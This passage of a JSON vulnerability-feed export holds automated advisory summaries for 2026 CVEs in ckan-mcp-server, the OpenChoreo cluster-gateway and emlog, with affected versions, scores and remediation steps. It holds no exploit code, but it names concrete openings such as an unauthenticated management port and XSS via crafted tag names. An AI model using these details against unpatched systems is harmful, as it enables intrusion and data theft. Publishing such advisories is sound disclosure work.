code.\n\n## References\n\n- [GitHub Security Advisory GHSA-qh9r-j7rp-4x2m](https://github.com/openchoreo/openchoreo/security/advisories/GHSA-qh9r-j7rp-4x2m)\n- [Remediation Pull Request #4122](https://github.com/openchoreo/openchoreo/pull/4122)\n- [Core Remediation Commit](https://github.com/openchoreo/openchoreo/commit/b42eeb0f5dce95195a9781d7c5a1fe9e38f5da8f)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-73843) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-09-03T03:32:56.155343Z"}, {"uuid": "5c63bd5d-c597-4e27-9fe7-b386c402c09d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-73846", "type": "published-proof-of-concept", "source": "https://github.com/ondata/ckan-mcp-server/security/advisories/GHSA-78x9-fhhx-v2g6", "content": "", "creation_timestamp": "2026-09-03T16:35:02.793379Z"}, {"uuid": "cc97d826-2261-45cc-959f-a41a335cedc4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-73844", "type": "published-proof-of-concept", "source": "https://github.com/ondata/ckan-mcp-server/security/advisories/GHSA-6f9w-9hf2-5rg3", "content": "", "creation_timestamp": "2026-09-03T16:35:05.017548Z"}, {"uuid": "fb4c9284-1468-44ec-b220-36de13914173", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73846", "type": "seen", "source": "https://gist.github.com/alon710/6e5cd16daf1e1da3bc33cf6d0ea63990", "content": "# CVE-2026-73846: CVE-2026-73846: Cache Key Canonicalization Collision in ondata ckan-mcp-server\n\n> **CVSS Score:** 6.5\n> **Published:** 2026-09-03\n> **Full Report:** https://cvereports.com/reports/CVE-2026-73846\n\n## Summary\nA medium-severity cache key canonicalization collision vulnerability exists in the ckan-mcp-server prior to version 0.4.112. Unescaped delimiters in key-value parameters and server URLs allow structurally distinct requests to map to the same cryptographic hash, facilitating cache poisoning and unauthorized data exposure.\n\n## TL;DR\nUnescaped delimiters in ckan-mcp-server's caching logic allow attackers to cause cache collisions, leading to cache poisoning and unauthorized data exposure.\n\n## Technical Details\n\n- **CWE ID**: CWE-345 / CWE-436\n- **Attack Vector**: Network\n- **CVSS Score**: 6.5 (Medium)\n- **EPSS Score**: 0.00137 (Percentile: 3.39%)\n- **Impact**: Cache Poisoning / Integrity Compromise\n- **Exploit Status**: None (No Public PoC)\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- ondata ckan-mcp-server\n- **ckan-mcp-server**: < 0.4.112 (Fixed in: `0.4.112`)\n\n## Mitigation\n\n- Upgrade ckan-mcp-server to version 0.4.112 or higher.\n- Implement strict input validation on query parameters to reject unescaped delimiters.\n- Disable cache entirely if data consistency is critical and performance permits.\n\n**Remediation Steps:**\n1. Identify all deployments running ondata/ckan-mcp-server.\n2. Check the package version in package.json to verify if it is below 0.4.112.\n3. Update the package dependency to version 0.4.112 or higher using npm, yarn, or pnpm.\n4. Deploy the updated application and restart the MCP server to clear any legacy poisoned cache entries.\n\n## References\n\n- [GitHub Security Advisory GHSA-78x9-fhhx-v2g6](https://github.com/ondata/ckan-mcp-server/security/advisories/GHSA-78x9-fhhx-v2g6)\n- [Official Fix Commit](https://github.com/ondata/ckan-mcp-server/commit/8e1522f9bbfa1f3b21550f17887f60f133e24151)\n- [Release v0.4.112](https://github.com/ondata/ckan-mcp-server/releases/tag/v0.4.112)\n- [NVD - CVE-2026-73846](https://nvd.nist.gov/vuln/detail/CVE-2026-73846)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-73846) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-09-03T17:31:38.235049Z"}, {"uuid": "ebd8eb28-34e7-4da7-bc53-bbb152a8c4a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73842", "type": "seen", "source": "https://gist.github.com/alon710/e3fcd961ce3e45afd531f9a1d48bb4cf", "content": "# CVE-2026-73842: CVE-2026-73842: Missing Authentication and Authorization on Internal Management Listener in OpenChoreo cluster-gateway\n\n> **CVSS Score:** 9.0\n> **Published:** 2026-09-04\n> **Full Report:** https://cvereports.com/reports/CVE-2026-73842\n\n## Summary\nA critical-severity missing authentication and privilege management vulnerability was identified in the OpenChoreo cluster-gateway component. The gateway exposed internal management endpoints, including arbitrary Kubernetes proxying and execution interfaces, on an unauthenticated port. An adjacent attacker within the control-plane network can bypass RBAC controls entirely and gain administrative control over all connected data planes.\n\n## TL;DR\nOpenChoreo cluster-gateway exposed administrative routes on port 8444 without requiring authentication, enabling network-adjacent attackers to execute arbitrary commands and retrieve secrets across connected Kubernetes clusters.\n\n## Technical Details\n\n- **CWE ID**: CWE-306\n- **Attack Vector**: Adjacent\n- **CVSS v3.1 Score**: 9.0\n- **EPSS Score**: 0.0018 (0.18%)\n- **Exploit Status**: none\n- **CISA KEV**: No\n\n## Affected Systems\n\n- OpenChoreo cluster-gateway control-plane component\n- **OpenChoreo**: < 1.0.3 (Fixed in: `1.0.3`)\n- **OpenChoreo**: >= 1.1.0, < 1.1.3 (Fixed in: `1.1.3`)\n- **OpenChoreo**: >= 1.2.0-rc.1, < 1.2.0-rc.2 (Fixed in: `1.2.0-rc.2`)\n\n## Mitigation\n\n- Enforce Mutual TLS (mTLS) on port 8444 with a cryptographically isolated Certificate Authority.\n- Deploy Kubernetes NetworkPolicies to restrict ingress on port 8444 to authorized control-plane components only.\n- Implement continuous log auditing to scan for unauthenticated requests directed at internal /api/ endpoints.\n\n**Remediation Steps:**\n1. Upgrade OpenChoreo deployment to version 1.0.3, 1.1.3, or 1.2.0-rc.2.\n2. Verify that the Helm parameter clusterGateway.internalMtls.enabled is explicitly set to true.\n3. Deploy network isolation policy to restrict adjacent network communications targeting the gateway pod.\n\n## References\n\n- [GitHub Security Advisory GHSA-rh53-xvx2-j327](https://github.com/openchoreo/openchoreo/security/advisories/GHSA-rh53-xvx2-j327)\n- [OpenChoreo Pull Request 4256](https://github.com/openchoreo/openchoreo/pull/4256)\n- [OpenChoreo Pull Request 4258](https://github.com/openchoreo/openchoreo/pull/4258)\n- [OpenChoreo Pull Request 4259](https://github.com/openchoreo/openchoreo/pull/4259)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-73842) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-09-04T23:32:53.766269Z"}, {"uuid": "29b51739-7d04-4162-a523-962f372235a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73842", "type": "seen", "source": "https://gist.github.com/alon710/e3fcd961ce3e45afd531f9a1d48bb4cf", "content": "# CVE-2026-73842: CVE-2026-73842: Missing Authentication and Authorization on Internal Management Listener in OpenChoreo cluster-gateway\n\n> **CVSS Score:** 9.0\n> **Published:** 2026-09-04\n> **Full Report:** https://cvereports.com/reports/CVE-2026-73842\n\n## Summary\nA critical-severity missing authentication and privilege management vulnerability was identified in the OpenChoreo cluster-gateway component. The gateway exposed internal management endpoints, including arbitrary Kubernetes proxying and execution interfaces, on an unauthenticated port. An adjacent attacker within the control-plane network can bypass RBAC controls entirely and gain administrative control over all connected data planes.\n\n## TL;DR\nOpenChoreo cluster-gateway exposed administrative routes on port 8444 without requiring authentication, enabling network-adjacent attackers to execute arbitrary commands and retrieve secrets across connected Kubernetes clusters.\n\n## Technical Details\n\n- **CWE ID**: CWE-306\n- **Attack Vector**: Adjacent\n- **CVSS v3.1 Score**: 9.0\n- **EPSS Score**: 0.0018 (0.18%)\n- **Exploit Status**: none\n- **CISA KEV**: No\n\n## Affected Systems\n\n- OpenChoreo cluster-gateway control-plane component\n- **OpenChoreo**: < 1.0.3 (Fixed in: `1.0.3`)\n- **OpenChoreo**: >= 1.1.0, < 1.1.3 (Fixed in: `1.1.3`)\n- **OpenChoreo**: >= 1.2.0-rc.1, < 1.2.0-rc.2 (Fixed in: `1.2.0-rc.2`)\n\n## Mitigation\n\n- Enforce Mutual TLS (mTLS) on port 8444 with a cryptographically isolated Certificate Authority.\n- Deploy Kubernetes NetworkPolicies to restrict ingress on port 8444 to authorized control-plane components only.\n- Implement continuous log auditing to scan for unauthenticated requests directed at internal /api/ endpoints.\n\n**Remediation Steps:**\n1. Upgrade OpenChoreo deployment to version 1.0.3, 1.1.3, or 1.2.0-rc.2.\n2. Verify that the Helm parameter clusterGateway.internalMtls.enabled is explicitly set to true.\n3. Deploy network isolation policy to restrict adjacent network communications targeting the gateway pod.\n\n## References\n\n- [GitHub Security Advisory GHSA-rh53-xvx2-j327](https://github.com/openchoreo/openchoreo/security/advisories/GHSA-rh53-xvx2-j327)\n- [OpenChoreo Pull Request 4256](https://github.com/openchoreo/openchoreo/pull/4256)\n- [OpenChoreo Pull Request 4258](https://github.com/openchoreo/openchoreo/pull/4258)\n- [OpenChoreo Pull Request 4259](https://github.com/openchoreo/openchoreo/pull/4259)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-73842) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-09-05T00:01:05.887056Z"}, {"uuid": "faee0483-79f9-4527-afbe-cd72fc1e8533", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73848", "type": "seen", "source": "https://mastodon.social/users/hugovalters/statuses/117251270384650825", "content": "CVE-2026-73848: XSS in emlog \u22642.6.29 via unescaped tag names in article editor. Attacker executes arbitrary JS via crafted tag\u2014full account takeover risk. CVSS N/A. UNPATCHED. Update or restrict editor access immediately. Details: https://www.valtersit.com/cve/CVE-2026-73848/ #CV", "creation_timestamp": "2026-09-11T07:40:04.343627Z"}, {"uuid": "c8f5e955-ad10-44db-82af-99c98e17f333", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73848", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mva3eik6zg2o", "content": "CVE-2026-73848: XSS in emlog \u22642.6.29 via unescaped tag names in article editor. Attacker executes arbitrary JS via crafted tag\u2014full account takeover risk. CVSS N/A. UNPATCHED. Update or restrict editor access immediately. Details: https://www.valtersit.com/cve/CVE-2026-73848/ #CV", "creation_timestamp": "2026-09-11T07:50:03.176266Z"}]}